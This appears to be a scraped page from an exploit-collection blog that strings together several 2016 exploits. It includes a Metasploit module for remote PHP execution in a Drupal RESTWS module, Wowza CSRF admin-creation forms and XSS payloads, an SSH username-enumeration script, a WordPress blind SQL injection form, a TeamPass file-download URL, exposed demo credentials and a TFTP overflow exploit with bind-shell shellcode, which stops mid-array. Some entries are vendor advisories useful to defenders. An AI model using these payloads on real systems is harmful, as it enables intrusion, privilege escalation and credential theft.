# Exploit Title: PHP calendar script Password Download File
# Date: 2016-07-18
# Exploit Author: Meisam Monsef meisamrce@yahoo.com or meisamrce@gmail.com
# Vendor Homepage: http://www.newsp.eu/calendarscript.php?pt=st
# Version: All Version
# Download Link : http://www.newsp.eu/calendar.zip
Exploit :
http://site/user.txt
Admin|fe01ce2a7fbac8fafaed7c982a04e229
Password Hash = fe01ce2a7fbac8fafaed7c982a04e229 (demo)[MD5]
Test :
Exploit : http://www.newsp.eu/demo/user.txt
Login Url : http://www.newsp.eu/demo/login.php
Password : demo
.png.c9b8f3e9eda461da3c0e9ca5ff8c6888.png)
-
Entries
16114 -
Comments
7952 -
Views
863289321
About this blog
Hacking techniques include penetration testing, network security, reverse cracking, malware analysis, vulnerability exploitation, encryption cracking, social engineering, etc., used to identify and fix security flaws in systems.
Entries in this blog
##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
require 'msf/core'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
include Msf::Exploit::Remote::HttpClient
def initialize(info={})
super(update_info(info,
'Name' => 'Drupal RESTWS Module 7.x Remote PHP Code Execution',
'Description' => %q{
This module exploits the Drupal RESTWS module vulnerability.
RESTWS alters the default page callbacks for entities to provide
additional functionality. A vulnerability in this approach allows
an unauthenticated attacker to send specially crafted requests resulting
in arbitrary PHP execution
This module was tested against RESTWS 7.x with Drupal 7.5
installation on Ubuntu server.
},
'License' => MSF_LICENSE,
'Author' =>
[
'Devin Zuczek', # discovery
'Mehmet Ince <mehmet@mehmetince.net>' # msf module
],
'References' =>
[
['URL', 'https://www.drupal.org/node/2765567'],
['URL',
'https://www.mehmetince.net/exploit/drupal-restws-module-7x-remote-php-code-execution']
],
'Privileged' => false,
'Payload' =>
{
'DisableNops' => true
},
'Platform' => ['php'],
'Arch' => ARCH_PHP,
'Targets' => [ ['Automatic', {}] ],
'DisclosureDate' => 'Jul 13 2016',
'DefaultTarget' => 0
))
register_options(
[
OptString.new('TARGETURI', [ true, "The target URI of the
Drupal installation", '/'])
], self.class
)
end
def check
r = rand_text_alpha(8 + rand(4))
url = normalize_uri(target_uri.path, "?q=taxonomy_vocabulary/", r
, "/passthru/echo%20#{r}")
res = send_request_cgi(
'method' => 'GET',
'uri' => url
)
if res && res.body =~ /#{r}/
return Exploit::CheckCode::Appears
end
return Exploit::CheckCode::Safe
end
def exploit
random = rand_text_alpha(1 + rand(2))
url = normalize_uri(target_uri.path,
"?q=taxonomy_vocabulary/",
random ,
"/passthru/",
Rex::Text.uri_encode("php -r
'eval(base64_decode(\"#{Rex::Text.encode_base64(payload.encoded)}\"));'")
)
send_request_cgi(
'method' => 'GET',
'uri' => url
)
end
end
Wowza Streaming Engine 4.5.0 Local Privilege Escalation
Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: Wowza Streaming Engine 4.5.0 (build 18676)
Wowza Streaming Engine Manager 4.5.0 (build 18676)
Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.
Desc: Wowza Streaming Engine suffers from an elevation of privileges
vulnerability which can be used by a simple authenticated user that
can change the executable file with a binary of choice. The vulnerability
exist due to the improper permissions, with the 'F' flag (Full) for
'Everyone' group. In combination with insecure file permissions the
application suffers from an unquoted search path issue impacting the
services 'WowzaStreamingEngine450' and 'WowzaStreamingEngineManager450'
for Windows deployed as part of Wowza Streaming software.
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
Java Version: 1.8.0_77
Java VM Version: 25.77-b03
Java Architecture: 64
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5339
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5339.php
03.07.2016
--
C:\Users\lqwrm>sc qc WowzaStreamingEngineManager450
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WowzaStreamingEngineManager450
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wowza Streaming Engine Manager 4.5.0
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\lqwrm>cacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe"
C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\manager\bin\nssm_x64.exe Everyone:(ID)F
NT AUTHORITY\SYSTEM:(ID)F
BUILTIN\Administrators:(ID)F
BUILTIN\Users:(ID)R
==========
C:\Users\lqwrm>sc qc WowzaStreamingEngine450
[SC] QueryServiceConfig SUCCESS
SERVICE_NAME: WowzaStreamingEngine450
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START (DELAYED)
ERROR_CONTROL : 1 NORMAL
BINARY_PATH_NAME : C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Wowza Streaming Engine 4.5.0
DEPENDENCIES :
SERVICE_START_NAME : LocalSystem
C:\Users\lqwrm>icacls "C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe"
C:\Program Files (x86)\Wowza Media Systems\Wowza Streaming Engine 4.5.0\bin\nssm_x64.exe Everyone:(I)(F)
NT AUTHORITY\SYSTEM:(I)(F)
BUILTIN\Administrators:(I)(F)
BUILTIN\Users:(I)(RX)
Successfully processed 1 files; Failed processing 0 files
<!--
Wowza Streaming Engine 4.5.0 CSRF Add Advanced Admin Exploit
Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP
Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.
Desc: The application interface allows users to perform certain actions
via HTTP requests without performing any validity checks to verify the
requests. This can be exploited to perform certain actions with administrative
privileges if a logged-in user visits a malicious web site.
Tested on: Winstone Servlet Engine v1.0.5
Servlet/2.5 (Winstone/1.0.5)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5341
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5341.php
03.07.2016
--
-->
<html>
<body>
<form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
<input type="hidden" name="version" value="0" />
<input type="hidden" name="action" value="new" />
<input type="hidden" name="userName" value="thricer" />
<input type="hidden" name="userPassword" value="123123" />
<input type="hidden" name="userPassword2" value="123123" />
<input type="hidden" name="accessLevel" value="admin" />
<input type="hidden" name="advUser" value="true" />
<input type="hidden" name="_advUser" value="on" />
<input type="hidden" name="ignoreWarnings" value="false" />
<input type="submit" value="Execute" />
</form>
</body>
</html>
<!--
Wowza Streaming Engine 4.5.0 Remote Privilege Escalation Exploit
Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP
Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.
Desc: The application suffers from a privilege escalation issue. Normal
user (read-only) can elevate his/her privileges by sending a POST request
seting the parameter 'accessLevel' to 'admin' gaining admin rights and/or
setting the parameter 'advUser' to 'true' and '_advUser' to 'on' gaining
advanced admin rights.
Advanced Admin:
Allow access to advanced properties and features
Only for expert Wowza Streaming Engine users.
Tested on: Winstone Servlet Engine v1.0.5
Servlet/2.5 (Winstone/1.0.5)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5340
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5340.php
03.07.2016
--
Privilege escalation from existing read-only user to admin(advanced):
-->
<html>
<body>
<form action="http://localhost:8088/enginemanager/server/user/edit.htm" method="POST">
<input type="hidden" name="version" value="0" />
<input type="hidden" name="action" value="quickEdit" />
<input type="hidden" name="userName" value="usermuser" />
<input type="hidden" name="userPassword" value="" />
<input type="hidden" name="userPassword2" value="" />
<input type="hidden" name="accessLevel" value="admin" />
<input type="hidden" name="advUser" value="true" />
<input type="hidden" name="_advUser" value="on" />
<input type="hidden" name="ignoreWarnings" value="false" />
<input type="submit" value="God mode" />
</form>
</body>
</html>
Wowza Streaming Engine 4.5.0 Multiple Cross-Site Scripting Vulnerabilities
Vendor: Wowza Media Systems, LLC.
Product web page: https://www.wowza.com
Affected version: 4.5.0 (build 18676)
Platform: JSP
Summary: Wowza Streaming Engine is robust, customizable, and scalable
server software that powers reliable video and audio streaming to any
device. Learn the benefits of using Wowza Streaming Engine to deliver
high-quality live and on-demand video content to any device.
Desc: Wowza Streaming Engine suffers from multiple reflected cross-site
scripting vulnerabilities when input passed via several parameters to
several scripts is not properly sanitized before being returned to the
user. This can be exploited to execute arbitrary HTML and script code
in a user's browser session in context of an affected site.
Tested on: Winstone Servlet Engine v1.0.5
Servlet/2.5 (Winstone/1.0.5)
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
@zeroscience
Advisory ID: ZSL-2016-5343
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2016-5343.php
03.07.2016
--
http://localhost:8088/enginemanager/applications/live/main/view.htm?vhost=_defaultVHost_&appName=live<script>alert(1)</script>
http://localhost:8088/enginemanager/applications/monitoring/historical.jsdata?vhost=_defaultVHost_&appName=test&periodStart=2016-07-03T13%3A42%3A32%2B02%3A00&periodEnd=2016-07-03T14%3a42%3a32%2b02%3a00<script>alert(2)</script>
http://localhost:8088/enginemanager/applications/monitoring/historical.jsdata?vhost=_defaultVHost_&appName=test&periodStart=2016-07-03T13%3a42%3a32%2b02%3a00<script>alert(3)</script>&periodEnd=2016-07-03T14%3A42%3A32%2B02%3A00
http://localhost:8088/enginemanager/applications/liveedge/securityplayback/edit.htm?appName=test<script>alert(4)</script>&vhost=_defaultVHost_
---
POST /enginemanager/applications/liveedge/main/edit.htm
Host: localhost:8088
vhost=_defaultVHost_";alert(5)//&uiAppName=test&uiAppType=Live%20Edge%20Application<script>alert(6)</script>§ion=main&version=1467548313123&action=new&description=desctest&mpegDash=true&_mpegDash=on&appleHLS=true&_appleHLS=on&adobeRTMP=true&_adobeRTMP=on&adobeHDS=true&_adobeHDS=on&msSmooth=true
---
POST /enginemanager/applications/liveedge/publishers/encoder/PANASONIC_CAMCORDER.htm
Host: localhost:8088
vhost=_defaultVHost_&uiAppName=test";alert(7)//&uiAppType=Live+Edge+Application&instanceName=";alert(8)//§ion=publishers_panasonic_camcorder";alert(9)//&version=0&driverName=Panasonic&publishersStreamFileName=panasonicstreamname&cameraIpAddress=1.1.1.1&appType=liveedge";alert(10)//&appName=test
---
POST /enginemanager/applications/liveedge/securityplayback/edit.htm HTTP/1.1
Host: localhost:8088
vhost=_defaultVHost_";alert(11)//&uiAppName=test&uiAppType=Live%20Edge%20Application<script>alert(12)</script>§ion=securityplayback&version=1467549110876&_requireSecureRTMPConnection=on&secureTokenState=Protect+all+protocols+using+hash+(SecureToken+version+2)&sharedSecret=sharedtestsecret&hashAlgorithm=SHA
---
POST /enginemanager/applications/liveedge/streamtarget/add.htm HTTP/1.1
Host: localhost:8088
enabled=true&protocol=RTMP&destinationName=akamai&destApplicationRequired=false&destAppInstanceRequired=false&usernameRequired=true&passwordRequired=true&wowzaCloudDestinationType=1*/alert(13)//&facebookAccessToken=&facebookDestName=&facebookDestId=&facebookEventSourceName=&wowzaDotComFacebookUrl=https%3A%2F%2Ffb.wowza.com%2Fwsem%2Fstream_targets%2Fv1&connectionCode=&protocolShoutcast=Shoutcast
---
-------------------------------------------------------------------------------------------------------------------
| Script | Parameter |
-------------------------------------------------------------------------------------------------------------------
| |
/enginemanager/applications/live/main/view.htm | appName |
/enginemanager/applications/liveedge/main/edit.htm | uiAppType |
/enginemanager/applications/liveedge/main/edit.htm | vhost |
/enginemanager/applications/liveedge/publishers/encoder/PANASONIC_CAMCORDER.htm | appType |
/enginemanager/applications/liveedge/publishers/encoder/PANASONIC_CAMCORDER.htm | instanceName |
/enginemanager/applications/liveedge/publishers/encoder/PANASONIC_CAMCORDER.htm | section |
/enginemanager/applications/liveedge/publishers/encoder/PANASONIC_CAMCORDER.htm | uiAppType |
/enginemanager/applications/liveedge/securityplayback/edit.htm | appName |
/enginemanager/applications/liveedge/securityplayback/edit.htm | uiAppType |
/enginemanager/applications/liveedge/securityplayback/edit.htm | vhost |
/enginemanager/applications/liveedge/streamtarget/add.htm | wowzaCloudDestinationType |
/enginemanager/applications/liveedge/streamtarget/wizard.htm | appName |
/enginemanager/applications/liveedge/streamtarget/wizard.htm | vhost |
/enginemanager/applications/monitoring/historical.jsdata | periodEnd |
/enginemanager/applications/monitoring/historical.jsdata | periodStart |
/enginemanager/applications/new.htm | uiAppName |
/enginemanager/server/mediacachesource/edit.htm | action |
/enginemanager/server/mediacachesource/edit.htm | maxTTLDays |
/enginemanager/server/mediacachesource/edit.htm | maxTTLHours |
/enginemanager/server/mediacachesource/edit.htm | maxTTLMinutes |
/enginemanager/server/mediacachesource/edit.htm | maxTTLSeconds |
/enginemanager/server/mediacachesource/edit.htm | minTTLDays |
/enginemanager/server/mediacachesource/edit.htm | minTTLHours |
/enginemanager/server/mediacachesource/edit.htm | minTTLMinutes |
/enginemanager/server/mediacachesource/edit.htm | minTTLSeconds |
/enginemanager/server/mediacachestore/edit.htm | action |
/enginemanager/server/transcoderencode/edit.htm | action |
/enginemanager/server/transcoderencode/edit.htm | appType |
/enginemanager/server/transcoderencode/edit.htm | templateName |
/enginemanager/server/vhost/streamfile/new.htm | streamName |
/enginemanager/transcoder/new.htm | appType |
/enginemanager/transcoder/new.htm | dstTemplate |
/enginemanager/applications/monitoring/app.jsdata | appName |
/enginemanager/applications/monitoring/historical.jsdata | appName |
/enginemanager/applications/monitoring/historical.jsdata | vhost |
/enginemanager/server/logs/getlog.jsdata | filter |
/enginemanager/server/logs/getlog.jsdata | logMode |
/enginemanager/server/logs/getlog.jsdata | logName |
/enginemanager/server/logs/getlog.jsdata | logType |
| |
---------------------------------------------------------------------------------|--------------------------------|
#!/usr/bin/python
#
# CVEs: CVE-2016-6210 (Credits for this go to Eddie Harari)
#
# Author: 0_o -- null_null
# nu11.nu11 [at] yahoo.com
# Oh, and it is n-u-one-one.n-u-one-one, no l's...
# Wonder how the guys at packet storm could get this wrong :(
#
# Date: 2016-07-19
#
# Purpose: User name enumeration against SSH daemons affected by CVE-2016-6210.
#
# Prerequisites: Network access to the SSH daemon.
#
# DISCLAIMER: Use against your own hosts only! Attacking stuff you are not
# permitted to may put you in big trouble!
#
# And now - the fun part :-)
#
import paramiko
import time
import numpy
import argparse
import sys
args = None
class bcolors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
def get_args():
parser = argparse.ArgumentParser()
group = parser.add_mutually_exclusive_group()
parser.add_argument("host", type = str, help = "Give SSH server address like ip:port or just by ip")
group.add_argument("-u", "--user", type = str, help = "Give a single user name")
group.add_argument("-U", "--userlist", type = str, help = "Give a file containing a list of users")
parser.add_argument("-e", "--enumerated", action = "store_true", help = "Only show enumerated users")
parser.add_argument("-s", "--silent", action = "store_true", help = "Like -e, but just the user names will be written to stdout (no banner, no anything)")
parser.add_argument("--bytes", default = 50000, type = int, help = "Send so many BYTES to the SSH daemon as a password")
parser.add_argument("--samples", default = 12, type = int, help = "Collect so many SAMPLES to calculate a timing baseline for authenticating non-existing users")
parser.add_argument("--factor", default = 3.0, type = float, help = "Used to compute the upper timing boundary for user enumeration")
parser.add_argument("--trials", default = 1, type = int, help = "try to authenticate user X for TRIALS times and compare the mean of auth timings against the timing boundary")
args = parser.parse_args()
return args
def get_banner(host, port):
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
try:
ssh.connect(hostname = host, port = port, username = 'invalidinvalidinvalid', password = 'invalidinvalidinvalid')
except:
banner = ssh.get_transport().remote_version
ssh.close()
return banner
def connect(host, port, user):
global args
starttime = 0.0
endtime = 0.0
p = 'B' * int(args.bytes)
ssh = paramiko.SSHClient()
ssh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
starttime=time.clock()
try:
ssh.connect(hostname = host, port = port, username = user, password = p, look_for_keys = False, gss_auth = False, gss_kex = False, gss_deleg_creds = False, gss_host = None, allow_agent = False)
except:
endtime=time.clock()
finally:
ssh.close()
return endtime - starttime
def main():
global args
args = get_args()
if not args.silent: print("\n\nUser name enumeration against SSH daemons affected by CVE-2016-6210")
if not args.silent: print("Created and coded by 0_o (nu11.nu11 [at] yahoo.com), PoC by Eddie Harari\n\n")
if args.host:
host = args.host.split(":")[0]
try:
port = int(args.host.split(":")[1])
except IndexError:
port = 22
users = []
if args.user:
users.append(args.user)
elif args.userlist:
with open(args.userlist, "r") as f:
users = f.readlines()
else:
if not args.silent: print(bcolors.FAIL + "[!] " + bcolors.ENDC + "You must give a user or a list of users")
sys.exit()
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing SSHD at: " + bcolors.BOLD + str(host) + ":" + str(port) + bcolors.ENDC + ", Banner: " + bcolors.BOLD + get_banner(host, port) + bcolors.ENDC)
# get baseline timing for non-existing users...
baseline_samples = []
baseline_mean = 0.0
baseline_deviation = 0.0
if not args.silent: sys.stdout.write(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Getting baseline timing for authenticating non-existing users")
for i in range(1, int(args.samples) + 1):
if not args.silent: sys.stdout.write('.')
if not args.silent: sys.stdout.flush()
sample = connect(host, port, 'foobar-bleh-nonsense' + str(i))
baseline_samples.append(sample)
if not args.silent: sys.stdout.write('\n')
# remove the biggest and smallest value
baseline_samples.sort()
baseline_samples.pop()
baseline_samples.reverse()
baseline_samples.pop()
# do math
baseline_mean = numpy.mean(numpy.array(baseline_samples))
baseline_deviation = numpy.std(numpy.array(baseline_samples))
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline mean for host " + host + " is " + str(baseline_mean) + " seconds.")
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Baseline variation for host " + host + " is " + str(baseline_deviation) + " seconds.")
upper = baseline_mean + float(args.factor) * baseline_deviation
if not args.silent: print(bcolors.WARNING + "[*] " + bcolors.ENDC + "Defining timing of x < " + str(upper) + " as non-existing user.")
if not args.silent: print(bcolors.OKBLUE + "[*] " + bcolors.ENDC + "Testing your users...")
#
# Get timing for the given user name...
#
for u in users:
user = u.strip()
enum_samples = []
enum_mean = 0.0
for t in range(0, int(args.trials)):
timeval = connect(host, port, user)
enum_samples.append(timeval)
enum_mean = numpy.mean(numpy.array(enum_samples))
if (enum_mean < upper):
if not (args.enumerated or args.silent) :
print(bcolors.FAIL + "[-] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
else:
if not args.silent:
print(bcolors.OKGREEN + "[+] " + bcolors.ENDC + user + " - timing: " + str(enum_mean))
else:
print(user)
if __name__ == "__main__":
main()
<!--
Multiple SQL injection vulnerabilities in WordPress Video Player
Abstract
It was discovered that WordPress Video Player is affected by multiple blind SQL injection vulnerabilities. Using these issues it is possible for a logged on Contributor (or higher) to extract arbitrary data (eg, the Administrator's password hash) from the WordPress database.
Contact
For feedback or questions about this advisory mail us at sumofpwn at securify.nl
The Summer of Pwnage
This issue has been found during the Summer of Pwnage hacker event, running from July 1-29. A community summer event in which a large group of security bughunters (worldwide) collaborate in a month of security research on Open Source Software (WordPress this time). For fun. The event is hosted by Securify in Amsterdam.
OVE ID
OVE-20160712-0004
Tested versions
This issue was successfully tested on WordPress Video Player WordPress plugin version 1.5.16.
Fix
This issue is resolved in WordPress Video Player 1.5.18.
Introduction
WordPress Video Player is a WordPress video plugin that allows you to easily add videos to your website. WordPress Video Player is affected by multiple blind SQL injection vulnerabilities. Using these issues it is possible for a logged on Contributor (or higher) to extract arbitrary data (eg, the Administrator's password hash) from the WordPress database.
Details
The vulnerabilities exist in the functions show_tag(), spider_video_select_playlist(), and spider_video_select_video(). The author tried to prevent SQL injection by calling the esc_sql() WordPress function. However, the user input is used in the ORDER BY clause and is consequently not quoted. Due to this it is possible to inject arbitrary SQL statements despite the use of esc_sql()
show_tag():
[...]
if (isset($_POST['page_number'])) {
if ($_POST['asc_or_desc']) {
$sort["sortid_by"] = esc_sql(esc_html(stripslashes($_POST['order_by'])));
if ($_POST['asc_or_desc'] == 1) {
$sort["custom_style"] = "manage-column column-title sorted asc";
$sort["1_or_2"] = "2";
$order = "ORDER BY " . $sort["sortid_by"] . " ASC";
} else {
$sort["custom_style"] = "manage-column column-title sorted desc";
$sort["1_or_2"] = "1";
$order = "ORDER BY " . $sort["sortid_by"] . " DESC";
}
}
spider_video_select_playlist():
[...]
if(isset($_POST['page_number']))
{
if($_POST['asc_or_desc'])
{
$sort["sortid_by"]=esc_sql(esc_html(stripslashes($_POST['order_by'])));
if($_POST['asc_or_desc']==1)
{
$sort["custom_style"]="manage-column column-title sorted asc";
$sort["1_or_2"]="2";
$order="ORDER BY ".$sort["sortid_by"]." ASC";
}
else
{
$sort["custom_style"]="manage-column column-title sorted desc";
$sort["1_or_2"]="1";
$order="ORDER BY ".$sort["sortid_by"]." DESC";
}
}
function spider_video_select_video():
[...]
if(isset($_POST['page_number']))
{
if($_POST['asc_or_desc'])
{
$sort["sortid_by"]=esc_html(stripslashes($_POST['order_by']));
if($_POST['asc_or_desc']==1)
{
$sort["custom_style"]="manage-column column-title sorted asc";
$sort["1_or_2"]="2";
$order="ORDER BY ".esc_sql($sort["sortid_by"])." ASC";
}
else
{
$sort["custom_style"]="manage-column column-title sorted desc";
$sort["1_or_2"]="1";
$order="ORDER BY ".esc_sql($sort["sortid_by"])." DESC";
}
}
Proof of concept
-->
<html>
<body>
<form action="http://<target>/wp-admin/admin-ajax.php?action=spiderVeideoPlayerselectplaylist" method="POST">
<input type="hidden" name="search_events_by_title" value="" />
<input type="hidden" name="page_number" value="0" />
<input type="hidden" name="serch_or_not" value="" />
<input type="hidden" name="asc_or_desc" value="1" />
<input type="hidden" name="order_by" value="(CASE WHEN (SELECT sleep(10)) = 1 THEN id ELSE title END) ASC #" />
<input type="hidden" name="option" value="com_Spider_Video_Player" />
<input type="hidden" name="task" value="select_playlist" />
<input type="hidden" name="boxchecked" value="0" />
<input type="hidden" name="filter_order_playlist" value="" />
<input type="hidden" name="filter_order_Dir_playlist" value="" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
1. ADVISORY INFORMATION
========================================
Title: TeamPass Passwords Management System via Unauth File Download and Arbitrary File Download
Application: TeamPass Passwords Management System
Class: Sensitive Information disclosure
Remotely Exploitable: Yes
Versions Affected: TeamPass Passwords Management System <= 2.1.26
Bugs: Arbitrary File Download
Date of found: 21.03.2016
Reported: 09.05.2016
Date of Public Advisory: 13.05.2016
Author: Hasan Emre Ozer
2. CREDIT
========================================
This vulnerability was identified during penetration test
by Hasan Emre Ozer & Halit Alptekin from PRODAFT / INVICTUS
Thank you Mehmet Ince for support
3. DESCRIPTION
========================================
We deciced to publish the vulnerability after its fix in release 2.1.26
4. VERSIONS AFFECTED
========================================
TeamPass Passwords Management System <= 2.1.10
5. TECHNICAL DETAILS & POC
========================================
Using 'downloadFile.php' file from 'sources' directory we can download any file.
Proof of Concept (POC)
Example for downloading database configuration:
http://teampass/sources/downloadFile.php?sub=includes&file=settings.php
Technical Details
<?php
......
header("Content-disposition: attachment; filename=".rawurldecode($_GET['name']));
header("Content-Type: application/octet-stream");
header("Pragma: public");
header("Cache-Control: must-revalidate, post-check=0, pre-check=0, public");
header("Expires: 0");
readfile('../'.$_GET['sub'].'/'.basename($_GET['file']));
?>
$_GET['sub'] and $_GET['file'] parameters vulnerable in readfile function.
6. SOLUTION
========================================
Update to the latest version v2.1.26
7. REFERENCES
========================================
http://teampass.net/2016-05-13-release-2.1.26
# Exploit Title: [TFTP Server 1.4 - WRQ Buffer Overflow Exploit [Egghunter]]
# Exploit Author: [Karn Ganeshen]
# Vendor Homepage: [http://sourceforge.net/projects/tftp-server/]
# Version: [1.4]
# Tested on: [Windows Vista SP2]
#
# Coded this for Vista Ultimate, Service Pack 2
# 3-byte overwrite + short jump + Egghunter
# Standalone mode
#
# Couple of overflow exploits already here for this tftp, none for Vista SP2 + Egghunter:
# http://www.exploit-db.com/exploits/5314/
# http://www.exploit-db.com/exploits/10542/
# http://www.exploit-db.com/exploits/5563/
# https://www.exploit-db.com/exploits/18345/
#
#!/usr/bin/python
import socket
import sys
host = '192.168.49.187'
port = 69
try:
s=socket.socket(socket.AF_INET,socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
# msfvenom -p windows/shell_bind_tcp LHOST=192.168.49.187 -b \x00 EXITFUNC=seh -f c -e x86/alpha_mixed
# Payload size: 718 bytes
shellcode = (
"\x89\xe5\xd9\xcf\xd9\x75\xf4\x5d\x55\x59\x49\x49\x49\x49\x49"
"\x49\x49\x49\x49\x49\x43\x43\x43\x43\x43\x43\x37\x51\x5a\x6a"
"\x41\x58\x50\x30\x41\x30\x41\x6b\x41\x41\x51\x32\x41\x42\x32"
"\x42\x42\x30\x42\x42\x41\x42\x58\x50\x38\x41\x42\x75\x4a\x49"
"\x59\x6c\x48\x68\x4f\x72\x75\x50\x63\x30\x33\x30\x33\x50\x6f"
"\x79\x59\x75\x35\x61\x6f\x30\x51\x74\x6c\x4b\x42\x70\x46\x50"
"\x6e\x6b\x62\x72\x66\x6c\x6c\x4b\x73\x62\x56\x74\x6c\x4b\x43"
"\x42\x45\x78\x66\x6f\x58\x37\x73\x7a\x56\x46\x54\x71\x4b\x4f"
"\x6e\x4c\x45\x6c\x50\x61\x51\x6c\x33\x32\x74\x6c\x61\x30\x4b"
"\x71\x68\x4f\x74\x4d\x63\x31\x39\x57\x58\x62\x68\x72\x76\x32"
"\x71\x47\x4e\x6b\x52\x72\x64\x50\x4c\x4b\x30\x4a\x45\x6c\x6c"
"\x4b\x30\x4c\x36\x71\x50\x78\x68\x63\x70\x48\x76\x61\x6b\x61"
"\x43\x61\x4e\x6b\x61\x49\x45\x70\x63\x31\x48\x53\x4c\x4b\x72"
"\x69\x35\x48\x38\x63\x77\x4a\x77\x39\x6c\x4b\x65\x64\x4c\x4b"
"\x67\x71\x58\x56\x75\x61\x4b\x4f\x6c\x6c\x69\x51\x7a\x6f\x76"
"\x6d\x65\x51\x39\x57\x45\x68\x4d\x30\x34\x35\x6a\x56\x45\x53"
"\x53\x4d\x5a\x58\x47\x4b\x53\x4d\x77\x54\x43\x45\x4d\x34\x73"
"\x68\x6c\x4b\x61\x48\x57\x54\x46\x61\x6b\x63\x61\x76\x6c\x4b"
"\x74\x4c\x42\x6b\x4c\x4b\x30\x58\x57\x6c\x75\x51\x79\x43\x4c"
"\x4b\x33\x34\x6e\x6b\x46\x61\x4e\x30\x4b\x39\x73\x74\x56\x44"
"\x65\x74\x63\x6b\x43\x6b\x63\x51\x52\x79\x53\x6a\x66\x31\x59"
"\x6f\x6b\x50\x33\x6f\x33\x6f\x32\x7a\x6e\x6b\x35\x42\x78\x6b"
"\x4e\x6d\x43\x6d\x62\x48\x37\x43\x46\x52\x37\x70\x35\x50\x61"
"\x78\x72\x57\x64\x33\x45\x62\x71\x4f\x56\x34\x53\x58\x32\x6c"
"\x63\x47\x34\x66\x46\x67\x4b\x4f\x6a\x75\x4e\x58\x4e\x70\x43"
"\x31\x75\x50\x35\x50\x31\x39\x6f\x34\x72\x74\x70\x50\x55\x38"
"\x56\x49\x4f\x70\x30\x6b\x47\x70\x69\x6f\x48\x55\x71\x7a\x36"
"\x68\x51\x49\x70\x50\x4a\x42\x4b\x4d\x61\x50\x76\x30\x33\x70"
"\x36\x30\x35\x38\x69\x7a\x64\x4f\x59\x4f\x6b\x50\x39\x6f\x4b"
"\x65\x7a\x37\x73\x58\x43\x32\x63\x30\x56\x71\x71\x4c\x6c\x49"
"\x69\x76\x71\x7a\x64\x50\x53\x66\x72\x77\x73\x58\x4a\x62\x79"
"\x4b\x50\x37\x65\x37\x39\x6f\x6b\x65\x36\x37\x42\x48\x48\x37"
"\x4b\x59\x47\x48\x6b\x4f\x39\x6f\x4b\x65\x51\x47\x51\x78\x50"
"\x74\x5a\x4c\x65\x6b\x79\x71\x69\x6f\x6a\x75\x51\x47\x4f\x67"
"\x53\x58\x61\x65\x32\x4e\x32\x6d\x70\x61\x49\x6f\x69\x45\x61"
"\x78\x72\x43\x32\x4d\x30\x64\x43\x30\x4b\x39\x4a\x43\x70\x57"
"\x53\x67\x72\x77\x64\x71\x48\x76\x31\x7a\x52\x32\x42\x79\x52"
"\x76\x38\x62\x69\x6d\x65\x36\x4b\x77\x37\x34\x61\x34\x47\x4c"
"\x57\x71\x45\x51\x6c\x4d\x77\x34\x44\x64\x72\x30\x78\x46\x53"
"\x30\x67\x34\x33\x64\x32\x70\x70\x56\x73\x66\x42\x76\x62\x66"
"\x46\x36\x30\x4e\x63\x66\x46\x36\x42\x73\x62\x76\x52\x48\x71"
